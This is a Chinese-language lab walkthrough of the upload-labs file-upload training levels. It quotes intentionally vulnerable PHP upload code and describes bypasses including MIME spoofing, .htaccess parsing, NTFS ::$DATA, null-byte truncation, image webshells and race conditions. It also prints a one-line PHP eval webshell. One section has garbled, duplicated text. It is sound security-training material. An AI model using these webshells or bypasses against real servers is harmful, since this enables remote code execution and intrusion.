[upload]-做题笔记

项目下载地址:https://github.com/c0ny1/upload-labs

第一关

查看源代码,可以看到是前端js限制上传jpg,png,gif后缀文件

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

浏览器f12禁用js后,提交,成功将一句话木马上传到upload目录下,提交参数执行成功

句话木马<?php @eval($_GET['1']); ?>上传到upload目录下,提交参数执行成功
在这里插入图片描述

第二关

提示源代码中显示实在后端判断文件类型了,可以用bp抓包修改文件类型

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

在这里插入图片描述
抓包后修改如下:
在这里插入图片描述
访问后如下:
在这里插入图片描述

第三关

看到源代码是在服务端设置了后缀检查,拒绝’.asp’,‘.aspx’,‘.php’,'.jsp’后缀。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

isset():检查变量是否已设置并且不是null。
file_exists():检查文件或目录是否存在。
trim():去除字符串两端的空格。
$_FILES:一个包含上传文件信息的全局变量。
strrchr():返回字符串中最后一次出现的指定字符(或子字符串)及其后面的所有字符。
strtolower():将字符串转换为小写。
str_ireplace():忽略大小写替换字符串中的子字符串。
in_array():检查给定的值是否在数组中存在。
move_uploaded_file():将上传的文件移动到新位置。

这题是黑名单验证,黑名单是一个不严谨的验证,只要我的文件或文件名不在这个黑名单当中,不就可以正常上传了,此外,黑名单验证还可能存在误判的风险。管理者可能会因配置不完善或缺乏经验而遗漏某些不受欢迎的输入,或者不小心将某些合法的数据列入黑名单中,导致合法用户被错误地拒绝访问或执行操作。
白名单验证:有黑名单,自然也有白名单,白名单也就是黑名单相反面,黑名单是在名单内的拒绝访问,那么白名单,它就是只有在名单内的才能访问,如果说我的心上人白名单只有一个人,那么除了她,任何人都不能进入我的心。
使用白名单机制有助于防止潜在的安全漏洞和攻击。通过只允许已知、可信任和明确定义的实体或操作来通过验证和授权,白名单可以提供更高的安全性和控制级别。它可以防止未知或意外的输入导致的安全问题,并减少攻击者滥用系统的可能性。

apache中间件中,能解析php的后缀不止.php。.php后缀只是在apache默认情况下使用,还有非常多的后缀也能去解析php文件php3,php4,php5,phtml
还有非常多的后缀,但是总结起来它们都要经过apache的配置才能正常解析php文件.
apache扩展知识:
在apache的配置文件(httpd.conf)中有一个AddType application/x-httpd-php 字段, 只要在这个字段后添加的后缀,它都能正常去解析php文件,例如我在这里加入了一个.abcd的后缀,重启apache服务后,它就能正常解析php文件了。
看了解析,发现这个题目是用bp爆破后缀,phtml,具体还要看apache配置。

第四关

和第三关差不多,知识黑名单更多了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

第四关它是第三关的进一步的扩展,当用户对AddType application/x-httpd-php 做了比较严格的限制,例如我就随便写一个自定义的后缀能解析php文件,其他文件一概不能解析,那么我们就可以利用.htaccess文件解析,来绕过用户的限制。这里它没有限制.htaccess文件的上传,我们就可以通过.htaccess文件来进行绕过,

  • .htaccess文件是一种用于在Apache服务器上配置网站的分布式配置文件。它允许在特定目录中设置特定的配置规则,而无需修改服务器的主配置文件。

  • .htaccess文件通常用于实现URL重写、重定向、访问控制、自定义错误页面和其他相关的配置规则。它可以通过添加特定的指令来重写或补充默认的服务器配置,以实现特定网站的需求。

  • .htaccess文件可以放置在网站根目录以及子目录中的任何位置。它的作用范围取决于其所在的目录及其子目录。

  • 当某个目录中存在 .htaccess
    文件时,Apache会自动读取并应用该文件中的配置规则。这意味着您可以在网站根目录下以及其他子目录中创建不同的 .htaccess
    文件,针对不同的目录进行特定的配置。

  • .htaccess文件的作用范围是所在目录及其所有子目录。如果在更高级别的目录中存在 .htaccess
    文件,它将逐级覆盖更低级别目录中的 .htaccess 配置。

  • 如果根目录下的.htaccess文件没有特定的配置规则,而网站文件目录下的.htaccess文件有配置规则,则会执行网站文件目录下的.htaccess文件中的配置。

重定向攻击:黑客可以修改重定向规则,将合法用户重定向到恶意站点,用于钓鱼攻击或分发恶意软件。
目录遍历攻击:黑客可以利用.htaccess文件来绕过服务器配置,实施目录遍历攻击,获取未授权的文件和目录访问权限。
认证漏洞:黑客可以修改身份验证规则,绕过用户认证或弱化访问控制,获取对受限资源的未授权访问。
恶意重写规则:黑客可以添加恶意的URL重写规则,将请求重定向到恶意代码,用于执行蠕虫、注入攻击或其他恶意活动。
php解析:黑客可以修改解析后缀,来执行恶意webshell木马文件

1、用abc来解析Php, AddType application/x-httpd-php .abc
上传 .htaccess文件
2、上传4.abc, 执行不成功。在 Apache 主配置文件(如 httpd.conf)中,找到 部分,确保 AllowOverride 指令设置为 All(或相应的覆盖级别),以允许.htaccess文件的配置规则生效。
3、还是不能执行,暂时未找到原因,但是方法是对的。
4、一句话木马改成$_POST也没有执行。

第五关

第六关

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

文件格式的大小写系统都会自动解析成小写,因此可通过更改文件大写来进行绕过,上传6.Php

第七关

原理:在文件格式后加空格,系统在解析文件时会自动删掉空格

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在这里插入图片描述
在这里插入图片描述
第八关
设置了黑名单,但是后缀取得是点后面的内容,可以文件后加点,绕过
在这里插入图片描述

第九关-额外数据流

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在·Windows·操作系统中,当你看到文件名后跟着”::$DATA"时,它表示文件的一个附加数
据流。数据流是一种用于在文件内部存储额外数据的机制。

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是
Windows·NT·文件系统 (NTFS) 支持在文件内部创建额外的数据流,以存储其他信息。这
些额外的数据流可以通过在文件名后面添加".: D A T A " 来访问。“例如, " 1. t x t " 是一个文件,而 " 1. t x t : : DATA"来访问。“ 例如,"1.txt"是一个文件,而"1.txt:: DATA"来访问。例如,"1.txt"是一个文件,而"1.txt::DATA"是这个文件的一个附加数据流。这样的数据流可
以用于存储文件的元数据、备份信息、标签等。

需要注意的是,大多数常规的文件操作工具不会意识到这些额外的数据流,而只会处理默认的数据流。要访问或操作这些附加数据流,通常需要使用特定的命令行工具或编程接口。“
写入方法

在文件命令行里输入

echo 内容 >>文件名:额外数据流(可随便命名)

type 文件名1>>文件名2:数据流名 将文件名1的内容写到文件名2的额外数据流中

绕过原理:windows系统不允许文件后缀中出现:: D A T A , 在解析时会自动删除,因此可通过此方式进行绕过 . b p 抓包修改后如下: ! [ 在这里插入图片描述 ] ( h t t p s : / / i − b l o g . c s d n i m g . c n / d i r e c t / 88 e 2 d 9 c c b 6 e f 471 b a 297000529 b d 286 d . p n g ) ! [ 在这里插入图片描述 ] ( h t t p s : / / i − b l o g . c s d n i m g . c n / d i r e c t / 2 a 6 a b 60 c 161 b 435 e 8 a f 7 e a f 1124135 d 8. p n g ) 注意:打开图片链接后发现 404 报错,原因是网站名后面加了 : : DATA,在解析时会自动删除,因此可通过此方式进行绕过. bp抓包修改后如下: ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/88e2d9ccb6ef471ba297000529bd286d.png) ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/2a6ab60c161b435e8af7eaf1124135d8.png) 注意:打开图片链接后发现404报错,原因是网站名后面加了:: DATA,在解析时会自动删除,因此可通过此方式进行绕过.bp抓包修改后如下:![在这里插入图片描述](https://iblog.csdnimg.cn/direct/88e2d9ccb6ef471ba297000529bd286d.png)![在这里插入图片描述](https://iblog.csdnimg.cn/direct/2a6ab60c161b435e8af7eaf1124135d8.png)注意:打开图片链接后发现404报错,原因是网站名后面加了::DATA,而上传的文件把这删掉了,因此我们需要删掉这个,才能打开链接

第十关

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

原理:源代码会检验一遍文件名,去除末尾的.和空格后就不会再次进行检验,使用.php. .的格式,去除.和空格后为格式为php.,可绕过过滤,而系统解析时会自动去除末尾的.,从而上传成功
在这里插入图片描述

第十一关

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码中,用黑名单将文件名中的相应值替换为空,可以考虑双写绕过
在这里插入图片描述

第十二关-%00截断

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

空字符 0x00 在编程语言中使用; %00 在url编码中使用;空字符后面的东西都不会读取;
url编码先将ascii转为16进制,然后再加%。
原理:通过%00截断后面的语句,使得页面上传成功

这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。

1.抓包修改

通过修改提交路径使页面提交的是php文件,而不是jpg文件,为了避免上传失败,需要在.php后加%00,从而截断后面的.jpg文件,使得php文件上传成功,
在这里插入图片描述

第十三关-0x00截断(0x是16进制的标识)

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单。POST不会对里面的数据自动解码,需要在Hex中修改。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

在这里插入图片描述
在burp的hex里找到2b(2b是+号的16进制编码),我们要把它修改为00,再提交
在这里插入图片描述

第十四关

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

根据代码提示判断是上传文件的前2个字节,来判断文件类型。并且最终保存文件的后缀根据获取的值来拼接的。
所以这里上传后用到了文件包含。这里要用到post方式获取。在bp中修改16进制包,提交上传,可以看到保存的是是png文件
在这里插入图片描述
在这里插入图片描述
这题GIF89a不能上传成功
在这里插入图片描述

第十五关

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

图片木马,测试后,需要用post方式,hackerbar和蚁剑都可以运行
copy a.png/b + 15.php a15.png
上传后访问:http://127.0.0.1/upload-labs/include.php?file=./upload/8620240812125720.png都可以。
在这里插入图片描述
在这里插入图片描述

第十六关

这道题,用14和15的方法都能解出来

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

第十七关-图片的二次渲染

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

第十八关-条件竞争

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
也可以用python脚本不断上传文件,并访问文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值